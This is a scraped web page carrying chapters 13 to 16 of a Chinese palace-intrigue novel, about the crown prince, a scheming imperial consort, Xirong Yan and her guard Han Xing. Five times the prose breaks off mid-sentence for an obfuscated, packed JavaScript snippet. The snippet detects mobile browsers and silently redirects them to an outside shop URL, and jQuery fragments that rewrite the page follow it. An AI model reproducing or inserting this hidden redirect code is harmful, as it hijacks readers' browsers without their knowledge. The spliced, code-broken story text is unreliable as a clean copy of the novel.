;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502720|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“虽说是养女,席容炎却也很是疼爱。琴棋书画,坐卧行止,特意请了专人教导,如今出落得十分美丽,论起样貌,便是席容贵妃也不敌她。” “若是果真如此,席容炎那个老家伙怎么不把她献给皇上?” “听说,是席容贵妃不肯。” 魏皇后冷笑一声,“这倒有趣。” “娘娘,席容贵妃此举,只怕会对太子殿下不利啊。娘娘得想个法子,千万别让她妹妹嫁进来。” “本宫能有什么法子,再说,就算席容烟嫁了进来,本宫也有的是手段好好折磨她。” “可是——” 云英还要说时,见着魏晗烨迎面走来,便行礼道,“参见太子殿下。” “你怎么来了?” “儿臣参见母后。” 魏皇后看着他的脸,总算有了一丝笑意,“快起来。” “方才来的不凑巧,正好赶上席容贵妃在里面,儿臣就在殿外等了一阵。” “你都听见了。” “嗯,母后莫要担心,儿臣自有办法。” “什么办法?” “儿臣想,既然父皇没有直接赐婚,而是提出了赏花宴的事,自然是打算相看一番的。到时候,若是席容烟在宴会上出了丑,也就做不成太子妃了。” “出丑?哈哈哈,我儿果然好谋算,云英,立刻吩咐人去办。” 魏晗烨并未阻拦,他虽然已经另有安排,但为保周密,多一份准备总是好的。 他想到这里,淡淡一笑,又扫了一眼地上零零星星的血迹,“母后下手也太狠了些。” “一个奴婢罢了,不算什么。” “儿臣记得,母后从前不是这样的。” 魏皇后微怔,“从前?” “小时候,宫里人都说母后最是慈悲为怀,不喜杀戮。那时,父皇还多次称赞母后仁德,堪为后宫楷模。儿臣记得有一次,云英不小心打碎了母后的一个陪嫁玉镯,母后因为伤心,重重打了她一巴掌,事后却又后悔了,另赏了她好些东西。” 云英微微一伏,“殿下记性真好,娘娘的确是个少有的仁德之人。” 魏皇后看着门外的云絮,痴痴望了半晌,只到那云被风吹散,才呢喃道。 “那是多久以前的事儿了,本宫都快忘了。” “母后虽然忘了,儿臣却一直记在心里头。儿臣那个时候就默默发誓,等儿臣长大了,也定要如同母后一般仁德。” 魏皇后惭然一笑,“云英,派人把刚才那个丫鬟厚葬,再寻一寻她的家里人,赏她家里一些银子,若有老人小孩,好生安顿了。” 云英应了一声“是”。 “如此,宫中定会感念母后慈心,儿臣还有奏折要看,就先告退了。” 魏皇后颔首,目送他出了殿门。 “云英,你有没有觉得,煜儿,不,烨儿,他和从前有些不一样了。” “殿下长大了,懂事了。” “不。” 魏皇后摇摇头,却也不再说话,只是兀自望着他的背影出神。 13. 越人歌我意 山有木兮木有枝, 青冥泛雾,霂霖缠绵,窗外淅淅沥沥的下起了小雨。 席容烟穿着一袭家常的竹色罗裙,满头秀发,倾泻如墨,随便拣了一支玉簪挽住。 她伴着芸香,坐于窗边,手中轻拂七弦绿绮。 琴音袅袅渺渺,逸出窗子外,散入烟雨中。 今夕何夕兮搴舟中流, 今日何日兮得与王子同舟。 蒙羞被好兮不訾诟耻。 心几烦而不绝兮得知王子。 山有木兮木有枝, 心悦君兮君不知。[1] 一曲作罢,桃夭不觉拍掌叫好。 “姑娘弹得真好听,静如处子,欢如跳珠,夫人听完一定会满意的。” 她凝神望着外面雾蒙蒙的天空,嘴角流出一抹苦笑。 “你不知道,《越人歌》所记,是女子对男子的心仪,而我最爱的曲子却是《凤求凰》,只可惜这辈子怕是没有机会听了。” 桃夭听不大懂,只是觉得这话颇为伤感,便不再多说,捧着香炉向堂屋走去。 “这香估计快燃尽了,我再去找些续上。” 桃夭出了里间,看见寒星正在门外站着。 桃夭并不惊讶寒星的到来,自从姑娘中毒,他便日日过来问候伤情。 说来倒也奇怪,寒星每次过来探望,只在门外等着桃夭,也不进屋,也不求见姑娘。 桃夭将香炉搁在桌上,向着寒星走了过去,屈膝行了一礼。 “寒将军,姑娘今日已然大好了。” 寒星点点头,也不多耽搁,便要往雨里去。 里间传来一个女声,“寒将军留步。” 这是席容烟的声音,寒星蓦地站住,却不敢回头。 席容烟披上一件素净的广袖纱罩褙子,款款走了出来。 “寒将军出行未曾带伞吗?” “小雨,用不着打伞。” “可是将军身上的衣裳都已经被雨淋湿了。” “无妨。” “雨落温降,易染风寒,将军还是进来暖一暖,待着雨停再走吧。” “这只怕会损了姑娘的清誉。” 席容烟微微一笑,“清誉自在人心,我一向不在乎旁人的议论,只要自己问心无愧就好。” 寒星略有踌躇,终于转过身来,迈入屋内,“那就多谢姑娘了。” “桃夭,沏一杯滚滚的姜茶来,给寒将军驱驱寒。” 寒星拱手谢过,便在席容烟对面坐下。 自打席容烟及笄以后,寒星还是第一次离她这样近,一时有些惶然,不知道该说些什么。 席容烟见他不语,也不好开口说话,只是默默打量着他。 他今日未着黑衣,而是穿了一身鸦青色云锦飞鱼服,十分干净利落。 因为被雨淋过的缘故,那衣服愈发贴身,修出他颀长清瘦的轮廓。 他的眸子是冰蓝色的,恍若星河一般璀璨。 只是一眼望去,甚是冰冷,寒气逼人。 寒星被看的有些不自在,抬眸与她对视,正好撞进她那澄澈明亮的秋波里。 桃夭端茶进来,“寒将军请用。” 寒星慌张地接过杯子,一扬脖就送入了口中。 席容烟连忙提醒,“当心烫。” 寒星却已一饮而尽,咧嘴一笑,“不烫,正好。” 桃夭见他这般,不觉笑出了声,屋中气氛一下子活络了许多。 “将军是哪里人士?” 寒星迟疑了一下,答道,“无父无母,不知籍贯姓氏。” “对不住,是我失言了。” 寒星一脸云淡风轻,“无妨。” “将军常穿深色衣裳,是因为喜欢这种颜色吗?” “并无喜欢的颜色,只是深色衣裳不易看出血痕,即便受伤,也无狼狈之态。” 席容烟闻言,怔了一怔。 “抱歉,吓着姑娘了。” 席容烟摇头,“我从前一直很羡慕将军是个男子,刀光剑影,十分风光,只是如今想来,将军只怕也受了很多苦。” “暗卫做的都是见不得人的买卖,谈何风光呢。” “将军身为暗卫统领,定比寻常暗卫好上许多。” 寒星嘴角扬起,邪魅一笑,“的确,杀起人来,更自由随便一些。” 席容烟愕然,半晌方道,“将军的剑,既可杀人,亦能救人。” “杀人不过寻常事,只是救人——”寒星顿了顿,“只救过你一个。” 席容烟心中骤然一紧,在她眼里,寒星一直是自己的救命恩人,一直是一个救人于危难的正人君子。 她望着寒星那双洁白修长的手,不敢相信上面满是斑斑血迹。 “姑娘莫要这样看我,我从来就不是什么好人,救你,也只是一时兴起而已。” “可是,将军还是救了我,而且不止一次的救了我。” 寒星望向她的眼神逐渐迷离,就连声音也不似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502721|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从前那般疏离冷淡。 “我也不知道为什么想要救你。” “这说明将军心中仍有善念。” 寒星轻蔑地摇摇头,收回了目光。 “方才的琴声,将军可听见了?” “很好听。” “那将军可愿意再听一曲?” “不胜欢欣。” 席容烟看了一眼桃夭,桃夭会意,捧了琴来。 席容烟左手轻抹,右手捻弦,一时琴音隽永,飘然而起,倒不似方才那首缠绵悱恻。 曲毕,寒星拊掌称赞,“此曲妙绝。” 席容烟微微一笑,将琴递给桃夭。 “是以圣人与万物同尘,常无心以相随,这首曲子讲的是鸥鹭忘机的故事。” “愿闻其详。” “很久以前,有一个非常喜欢海鸥的人,他每日清晨都要来到海边,和海鸥一起游玩。海鸥成群结队地飞来,有时候竟达一百多只。后来,他的父亲令他乘机捉几只,他答应了。第二日,他照旧来到海边,然而海鸥都只在高空飞舞盘旋,却再不肯落下来了。” 桃夭不禁插嘴说道,“海鸥好聪明啊,竟能看明白这人的心中所想。” “海鸥机敏,辨得是非曲直,其实,人有时亦如这海鸥一般心思澄然。所谓忘机,便是忘掉心机,方才将军说不知为何出手相救,我想,这便是忘机的缘故。” 寒星听完久久不语,末了淡然一笑,“姑娘说的是圣人行径,只可惜我是个俗人,并不明白这些。依我看,我倒是更喜欢姑娘方才弹得那首。” 寒星说到这里微微一顿,抬眼对上她的目光,“方才弹的那首情歌。” 席容烟愣了愣,心跳不自觉的快了起来,檀口半张半合,却是一个字也说不出来。 寒星看着她的模样,嘴角轻扬。 他转头扫了一眼门外,淡淡道,“雨停了,先走了。” 桃夭见席容烟愣在那里,只得出声唤她,“姑娘。” 席容烟回过神来,“等一下。” 寒星此刻已经出了屋子,背对着她停下脚步,“姑娘还有何事?” 雨后初霁,日光均匀地洒落在寒星身上,向下打出一道温润修长的影子。 席容烟抿唇,“将军不穿黑色衣服的时候,很好看。” 寒星并未回头,亦未答言。 席容烟看不见他的神情,只瞧见那影子微不可察地颤了一下,又缓缓归于平静,隐映在一片沧淼雾色中。 14. 戏台初始成 仪鸾宫。 小丫鬟托着一个精致的剔红花卉莲纹盘跪在地上,盘上摆满了各色黛石。 席容贵妃挑着长长的金錾花镂雕珐琅护甲,缓缓扫过了石黛、铜黛、青黛、黄色眉黛、青雀头黛,最后停在了一颗螺子黛跟前。 “入宫时就听说这螺子黛一颗价值十金,用了这许多年,本宫觉得也就不过如此罢了。” 侍在一旁的紫藤笑道,“娘娘荣宠万千,冠绝六宫,皇上恨不能将整个国库都赏给娘娘,区区十金又算得了什么。” “是啊,皇上待本宫这样好,本宫也要打扮得漂漂亮亮的,让他欢心。” “娘娘今日想画什么眉?” “雪洗桃花面,烟描柳叶眉,外头春光正好,就为本宫画柳叶眉吧。”[1] “是。” 半盏茶后,紫藤轻轻搁下了螺子黛。 “娘娘,画好了。” 铜镜中,席容贵妃的两弯眉毛细如杨柳,袅若青烟,含笑时好似春风拂面,颦颦时仿佛雨雾朦胧,衬得她两靥生色,面容姣美。 席容贵妃痴痴端详着镜中容颜,颇有些顾影自怜的意味。 “画得很不错,本宫记得前日内务府送了一支螺旋头串珠金钗过来,就赏给你了。” “谢娘娘赏。” “对了,赏花节筹办的怎么样了?” “已经按照娘娘的嘱咐办妥了。” “那就好,这些年来,皇上虽然一直宠着本宫,可把由皇后操持的赏花节交给本宫来办,这还是头一回,本宫此番一定不能让他失望。” “按照规矩,赏花节向来是由皇后主持的,可是如今,皇上连这份殊荣都赐给了娘娘,只怕魏皇后的中宫宝座也坐不了几天了。” 席容贵妃得意一笑,“是啊,这女人么,就是色衰而爱弛。魏皇后的儿子都要娶亲了,皇上哪里还能瞧上她的那副尊容,不过是面上敷衍罢了。现在,只怕皇上是彻底厌弃了她,连敷衍都懒得敷衍了。” “这么说来,娘娘很快就能入主中宫了。” “可惜啊,本宫虽沐圣恩,膝下却只有一个女儿。魏皇后一直没有大错,还有太子傍身,皇上若是提及废后,只怕朝中的那些言官是不会善罢甘休的。” “娘娘还年轻,皇上又时常留宿仪鸾宫,天长日久,诞下龙子不过是早晚的事情。” “话虽如此说,只是,皇上现在为着省心,将所有的政务都交给了太子魏晗烨处理,这终归是本宫的心腹大患啊。十三年前,本宫费尽心机,却也只除掉了魏晗煜一人。前些日子,父亲派人给魏晗烨下毒,他明明中毒了,却未曾伤着性命,奇怪,真是太奇怪了。” 说到这里,席容贵妃的眉毛不自觉拧了起来。 “不可能,魏晗烨若是中了毒,肯定必死无疑啊。” “或许,是他运气好吧。” “不,不对,父亲手底下的人办起事来最是干净利落,绝不可能给他留下活命的机会。紫藤,我有一个猜测,魏晗烨怕是已经死了。” “啊?不会吧?那现在的太子又是谁呢?” 席容贵妃摇摇头,“本宫也不知道,不过,本宫昨日去给魏皇后请安的时候,意外发现中宫里里外外都换了新面孔,这就说明中宫里头肯定藏了不可告人的秘密。” “可是我们没有证据啊。” “不要紧,等烟姑娘嫁进东宫,我们就有证据了。” 紫藤恍然大悟,“我明白了,若是这太子是个假太子,而魏皇后又刻意帮着隐瞒,那么无论易储还是易后,我们就都师出有名了。” 席容贵妃莞尔一笑,“是啊,好戏才刚刚开场。紫藤,扶本宫去御花园看看,这戏台子搭的怎么样了。” 往年,魏皇后都将赏花宴开在御花园的西北角。 因为那里的各色建筑多达二十几座,大小得宜,疏密有度,曲直相错,气氛各异。 而且所有宴会所需的器具,上至水榭楼台,下至杯盏碗碟,一应俱全,无需额外置办。 只是,席容贵妃一是为了将赏花节办的别出心裁,与众不同,二也是想要和魏皇后分庭抗礼,此次特意择了御花园的东南角来办宴会。 由于平日人迹罕至的缘故,此地林木繁盛,花鸟齐聚,倒也别有一番趣味。 席容贵妃命工匠垒假山,凿清渠,依着地势走向,塑出了许多石桌石椅,又命宫里头的缝人绣娘连日赶制新的软垫丝帛,铺在桌椅上面,既得天然之趣,又显华贵气象。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502722|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此时正值春日,园中的迎春花、杜鹃花、百合花、君子兰、牡丹、桃花、海棠、杏花、梨花、山茶花、白玉兰、鸢尾花、金盏菊、樱桃花、水仙花、丁香花齐齐绽放,芳香醉人,一丛丛,一簇簇,看着好不热闹。 席容贵妃犹嫌不足,命人引入温泉水,养出了满湖的莲花,再从朔北极寒之地运来冰块,垒作山石,用以栽种冬日寒梅。如此几番,总算凑齐了四时的景致。 宫中一时流言四起,皆赞席容贵妃心思奇巧,有主事之才,堪配皇后之位。 朝野上下也是议论纷纷,席容炎一党趁机再度提起废后之事,魏皇后一方则反过来痛斥席容贵妃行事奢靡,败坏风气,恳请魏帝严办。 魏帝却都不予理会,仍是日夜玩乐,摞得小山一般高的折子看也不看,全都抬进了东宫。 魏晗烨此时正为着蜀地的灾荒发愁,看到这些争论更是头疼不已。 他恨不能将席容炎一党除之而后快,却也知道父皇定然不肯处置,也只得将此事摁下,只在暗中培植亲信,秘密收集席容炎的罪证。 一连三日,魏晗烨一直把自己关在书房,昼夜埋在一堆案牍中间。 云风看着很是着急,偏自己不能言语,只好趁他睡着的当口,出去找了袁青。 云风扯了扯袁青的衣袖,又指指睡在椅子上的魏晗烨。 袁青会意,跟着她走进殿内。 魏晗烨察觉到新的气息,立时惊醒过来。 “殿下,已经三天了,这样下去身体会吃不消的。” 魏晗烨揉了揉自己的太阳穴,呢喃道,“怎么睡着了?” 袁青又是一声,“殿下!” “好了,孤知道了,不要紧的。云风,去沏一杯浓浓的普洱茶,孤喝了提提神。” 云风不肯去,十分心疼的看着他。 魏晗烨无奈苦笑,“孤没事,你们一个个不用这副样子。” “殿下虽然年轻,也要当心身子啊。我听说御花园的东南角刚刚修缮一新,殿下何不去园中逛逛,也好散散心,解解乏。” “东南角?是不是几日后要举办赏花宴的地方?” “正是。” 魏晗烨伸了个懒腰,“好啊,那就去逛一逛吧。” 15. 冰心兮皎洁 御花园的东南角路径曲折,鲜有人迹,魏晗烨一行人足足用了半个时辰才找到赏花宴的位置。 魏晗烨环视一周,不觉赞道,“果然气象一新。” 袁青附和,“是啊,这春日里头竟能看到夏荷冬梅,真真是奇了。” “只是不知,这些不同寻常的花卉价值几何呀。” “听说皇上拨了专款给席容贵妃,说是由着她使,只要赏花节办得漂亮就好。” “专款都要经过户部审批,就算再多,也不能逾越规制。此时正值春季,温度并不适宜荷花梅花开放。她必是引了行宫的温泉水,又从朔北运了冰雪回来,这样往返几次,且不提人力物力,光是车马费就是一笔巨款了。” “殿下是怀疑,她动用了自己的私钱?” “不是怀疑,而是肯定。” “不应当吧,皇上虽然宠她,每月也是按照贵妃的份例给的俸禄,算来算去,就是那些,而且她又一向铺张,行事奢靡,动辄赏人都要花上许多,听说每个月末还要靠宰相府接济,哪里能省下这么多闲钱。” “自然是她那个好父亲的手笔了。” “席容炎?他惯会敛财,更舍不得拿自己的钱去做这种场面上的事了。” 魏晗烨望着那一湖含苞待放的莲花,笑而不语。 “晗烨哥哥!” 魏風漪一袭红衣,欢欢喜喜向他跑了过来。 魏晗烨微微皱眉,“漪公主。” “晗烨哥哥,我们不是约好了要在花园里见面的吗,你怎么一直不来找我?” “约好?敢问公主,这是何时的事?” “那日我冲你眨了三下眼睛,就是约你三天后见面的意思啊,你怎么都浑忘了!” 魏晗烨只是笑笑,并不作答,他吃不准这个小公主所言是确有其事,还是有意试探。 好在魏風漪并不继续纠缠这个问题,她围着魏晗烨转了个圈,拉着他的袖子摇了起来。 “好啦,晗烨哥哥,我都不生你的气了,你干嘛还是一副愁眉不展的样子。” 魏晗烨一个侧身收了袖子,“公主今日也有雅兴来这园中闲逛?” 魏風漪不满地撇撇嘴,又上去扯住了他的衣袖。 “一口一个公主,晗烨哥哥你再这样,漪儿可真的要生气了。” 魏晗烨有些无奈,又看到袁青幸灾乐祸的表情,不由叹了一口气。 “那孤应该如何唤你?” “晗烨哥哥当然要唤我漪儿啦,或者,漪妹妹也行。” “嗯,好,漪,漪妹妹。” 魏風漪乖巧地点点头,“漪儿有礼物要送给晗烨哥哥。” “什么礼物?” 魏風漪一脸神秘,“你先闭上眼睛,然后伸出一只手来。” 魏晗烨阖眼,听话的展开了手掌,掌心随即传来一阵凉意。 他睁开眼,只见掌上多了一颗熠熠生光的冰心。 “既冰心兮皎洁,上问天兮胡不闻。晗烨哥哥不是最爱吟这句诗吗,漪儿就自己打磨了一颗冰心送给晗烨哥哥。” 魏晗烨愣住,他蓦然想起了八年前的那一幕。 魏晗煜抱着他嚎啕大哭,“烨兄,为什么母后就是不喜欢我,为什么!既冰心兮皎洁,上问天兮胡不闻啊!母后为什么就看不到我的一片真心呢?!烨兄你告诉我好不好,我究竟哪里比不上你,为什么母后不喜欢我?” “晗烨哥哥!” 魏晗烨回过神来,看到她笑得如花儿一般灿烂。 “晗烨哥哥,你喜不喜欢呀。” “喜欢,很喜欢,谢谢你的礼物。” 魏晗烨轻轻拉过她背在身后的手,只见上面冻得通红,还生出了一点点冻疮。 “这颗冰心,是你自己做的?” 魏風漪得意的点点头,“是啊,我先用簪子凿出一个大概的形状,然后一直捂在手里,用手心的温度反复打磨,忙活了好久呢。” “万一孤今天没来,或者这颗冰心化掉了,你不就白忙乎了。” “所以我每天都做呀,我想,你早晚有一天会过来的,不是吗?最起码,赏花节的那天,你一定会来。” 魏晗烨搓着她的手,不住地呵气。 “你是一位公主呀,怎么还亲自做这种东西,万一留下伤疤可怎么办?” “没事的,晗烨哥哥喜欢就好。” 魏晗烨看着她那双水灵灵的大眼睛,一时竟有些感动。 “冻疮不能小觑,治不好会留下病根的,一定要让你宫里的嬷嬷定时上药。” “我知道啦,晗烨哥哥放心吧。” 二人正说着话,魏風漪突然蹲下了身子。 “怎么了?” 魏風漪压低声音,“母妃过来了,她最不喜欢我来找你,让她看见,一定会呵斥我的。” 魏晗烨顺着她的视线望过去,果然看见了不远处的贵妃仪仗。 魏風漪轻轻拽了一下他的衣角,“晗烨哥哥,我得赶紧溜走,你去帮我引开母妃好不好。” 魏晗烨一向讨厌席容贵妃,本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502723|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来不想应承,可看见她可怜巴巴的样子,又不忍心拒绝。 “嗯,好吧。” 席容贵妃正在检查宴会的布置,看见舞台中央摆着一把古琴,便拾阶而上。 “听说,烟姑娘古琴一绝?” “嗯,夫人派人捎来消息,说会让她在宴上献艺。” 席容贵妃卸下右手的护甲,用中指扫了一遍琴弦。 “这个声音不够清脆,我记得皇上似乎赏过本宫一把古琴,叫什么来着。” “娘娘好记性,那琴名唤九霄环佩,传为盛唐雷氏所作,价值连城呢。” “找出来,给烟姑娘用吧。” “啊?这琴是皇上赠给娘娘的,给她用岂非可惜。” “琴为悦己者鸣,何况本宫也不善抚琴,给她用用又有何妨。” 魏晗烨大步走上前去,“素闻贵妃娘娘的琵琶是宫中一绝,难不成娘娘在这古琴上也有造诣吗,孤倒是很想讨教一二。” 席容贵妃看见他,脸上不免有些惊讶,却也只是一瞬间就恢复了寻常神色。 “本宫自然是不善抚琴的,只是殿下未来的太子妃却是一位古琴高手。” “如此说来,孤倒是有耳福了。” “何止耳福,我这位妹妹不光弹得一手好曲子,容貌更是一等一的绝色,太子殿下艳福不浅呀。” “可惜了,孤是一个清心寡欲之人,只怕会委屈了娘娘的妹妹。” 席容贵妃轻笑,声音中掺了一丝娇媚,“殿下不沾女子,怎会知道女子的好处。到时候娶进来,红绡帐里,软玉温香,殿下就再也不说这样的话了。” 她的话太过直白,饶是魏晗烨也不由得红了耳根。 “光天化日,朗朗乾坤,还请娘娘慎言。” 席容贵妃抚手嗤笑,“再过两年,殿下就到了加冠的年纪,竟然还如此腼腆,难不成是因为皇后姐姐管的严,一点荤腥都不肯让殿下沾?” 袁青在一旁暗自腹诽,“皇后娘娘倒是殷勤,一日一日地选了美人过来,只是我们殿下的口味有些与众不同罢了。” 魏晗烨无意与她周旋,料着魏風漪此刻应该已经走远了,便欲脱身离开。 “孤还有奏折要看,就先回去了。” 席容贵妃不紧不慢地摇着扇子,“殿下慢走。” 席容贵妃看见他快步离开的样子,倒觉得有几分好笑。 “紫藤,我真是越来越期待烟姑娘的到来了。” 紫藤看了一眼魏晗烨急匆匆的背影,会心一笑。 16. 蕙菁兮青眸 荏苒春光至,风落满园芳,转眼便到了宫中举办赏花节的日子。 天还未亮,席容夫人便遣了心腹华盛往烟雨阁来,敦促桃夭给席容烟洗漱梳妆。 往日,席容烟因嫌太过琐碎,常令桃夭省略一二步骤,倒也别有清丽脱俗之态。 今日华盛在此,桃夭却是丝毫不敢马虎,檀粉敷面、胭脂施朱、黛墨画眉、樱桃点唇、花黄晕额、斜红绕颊、翠钿萦发、妆靥绽华…… 一桩桩,一件件,桃夭都是全神贯注,悉心毕力。 就这样,平日里半个时辰便能结束的梳妆过程硬生生拖成了一个时辰。 华盛倒也不催,趁着席容烟梳妆的功夫,给她讲起了宫中的事。 “姑娘自小学习礼仪步态,大规矩自然是不会差的,只是宫中又与别个不同,皇宫乃是天子居所,一言一行,都要格外小心。行莫摇袂,言莫露齿,笑莫出声,食莫逾矩。若有贵人问话,姑娘定要垂首而立,不可直视贵人面孔。答话时,声音不可过大,扰了贵人清净,更不可过小,以免贵人听着费力劳神。” 桃夭听着,只感觉一个头两个大,不由得吐了吐舌头。 华盛白她一眼,“桃夭若在贵人面前如此失仪,只怕留不得命在。” “华盛姑姑莫恼,我自会好好教训桃夭的,还请姑姑继续讲吧。” “说起来,宫中虽然贵人云集,正经主子却只有五位,也就是皇上、太后、皇后、贵妃娘娘、太子殿下。太后娘娘常年在西山礼佛,并不住在宫中。贵妃娘娘是本家出身,也算是姑娘的长姐,她会提点姑娘如何行事的。皇上一向和贵妃娘娘同心同德,不会太难为姑娘,姑娘需要用心提防的,唯有皇后和太子二人。” “魏皇后是先帝之义妹,太后之义女,已故宰相霍霆之长女。十三年前,霍霆在家中暴毙身亡,霍夫人随之殉情,魏皇后势力已经大不如前,但其兄霍淳手握军权,其妹霍娴又嫁与内阁大学士林修仁,仍然不可小觑。魏皇后育有一对双生子,长子魏晗烨,次子魏晗煜。魏晗煜十三年前已死,魏晗烨自那时起被皇上册为太子,入主东宫。姑娘第一步要做的,就是嫁入东宫,然后伺机行事。” “华盛姑姑放心,我都记住了。” “姑娘一会儿入了宫,便不能自称为‘我’,而要自称臣女,若是以后嫁给太子,对着太子便要自称臣妾,对着宫人便要自称本宫,切不可再提‘我’这个字了。” “是。” 此时,席容烟的妆已经画好了,华盛仔细审视了一阵,还算满意。 “那我向夫人复命去了,姑娘先歇一歇,再等约莫一炷香的功夫,就可以去门上等候了。” “有劳姑姑了,桃夭,去送一送。” 桃夭应了声“是”,陪着华盛出去了。 席容烟在屋中等着消息,无所事事,便端详起铜镜中的自己,只觉得十分陌生。 厚厚的脂粉像是一层面具,覆盖住了她的整张脸,连一丝风也不漏。 席容烟无奈苦笑,只怕以后再也做不成真正的自己了。 几分钟后,席容烟便出了烟雨阁,预备着去参加宫中的赏花宴。 赏花宴名为赏花,实为赏人,一向都是皇上为了充实后宫而举办的。 赴宴之人皆为女子,或是如席容夫人一般的命妇,再便是如席容烟一般的适龄小姐。 席容家的二小姐已经许了人家,四小姐五小姐尚未及笄,都不在邀请范围之内。 因此,此次宰相府应邀赴宴的只有席容夫人和席容烟二人。 席容烟扶着桃夭的手,正要上轿,又站住了,回头望着宰相府的大门。 “姑娘可是惦记请安的事?老爷一早就吩咐过,姑娘今日的请安免了。” 席容烟也不说话,只是摇头。 桃夭有些急了,“姑娘,夫人那边已经起轿了,赏花宴的时辰可万万耽误不得啊。” 席容烟叹气,兀自掀了帘子进去。 桃夭松了一口气,忙唤,“起轿。” 从宰相府往皇宫去,需要经过一条长街。今日为着赏花宴的事,街上戒严,将闲杂人等都拦在了外面。 一路上,车马甚是平稳,可席容烟的心里却是七上八下,颠簸不停。 桃夭温言道,“姑娘莫要害怕。” 席容烟嘴硬道,“谁说我怕了?” 桃夭捂嘴轻笑,打开随身携带的黑漆雕花妆奁,露出一面小小的铜镜,捧在席容烟面前。 “姑娘若是不怕,额上的汗珠是做什么的?难不成,是姑娘穿多了衣裳?热出了汗?” 席容烟瞧着镜中模样,无可奈何地掏了帕子出来擦拭。 桃夭一心想哄她放松些,便笑道,“这么一来,姑娘脸上的脂粉淡了许多,依桃夭看,反而更好看了呢,对了,那叫什么来着,天生气质难自弃!” 席容烟嗔道,“你这丫头,怎么也学得这般油嘴滑舌了,还有啊,那叫天生丽质难自弃。” 桃夭眨眨眼睛,“我可没说谎,姑娘就是好看嘛,桃夭从来没见过姑娘这么好看的人。凭他是谁,只要不瞎,都会喜欢上姑娘的。” 席容烟怔了怔,问道,“喜欢?” “对啊。” “喜欢,是爱吗?” 桃夭不明所以,含混道,“喜欢当然就是爱了。” 席容烟也不再问,轻轻掀开帘子一角,望着空空如也的长街出神。 “姑娘在瞧什么?” “一座宅子。” 桃夭顺着她的视线看过去,蹙眉道,“这片最是荒凉,听说是从前住在这里的一户人家犯了事,被皇上抄了家,全族上下五百余人,满门抄斩,无一幸存。后来人们都嫌这座宅子不吉利,也没人再敢买附近的宅院,一直荒废在这里,姑娘好好的,瞧这做什么?” 席容烟听着,眸间似有薄雾浮现,却也不过片刻功夫,又是一片澄明。 “这座宅子离皇宫很近,想来,从前住在这里的人家也是身居高位的大户人家,那时,他们定然不会料到日后会落得这般下场。三十年河东,三十年河西,天知道下一个遭此横祸的又会是谁?” 桃夭不以为然道,“随他是谁,反正不干我们的事。” “你怎知,不干我的事?” “呸呸呸,姑娘是最最最有福气的人,不准说这么不吉利的话。” 席容烟不置可否地笑笑,丢开手,由着轿帘随风摇曳。 一刻之后,轿子稳稳地停在了宫门口。 席容烟定了定神,扶着桃夭的手走了下去。 席容夫人也才站定,转身冲她微微一笑。 席容烟回了一笑,走上前去。 席容夫人轻声叮嘱,“这里便是天子居所,多听多看,切莫多言多语。” 席容烟颔首,环视一圈,看见许多如她一般年纪的女孩,个个衣裳华丽,妆容隆重。 她不觉咂舌,心下暗想,原以为只有自己被打扮成了个脂粉人,和她们一比,简直就是小巫见大巫,根本算不了什么。 席容烟压低了声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502724|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音,小声问道,“母亲,不是说太子妃人选已然内定好了吗,为何她们还要这般打扮?” “自然是给皇上看的。” “皇上不是有贵妃娘娘了吗?” 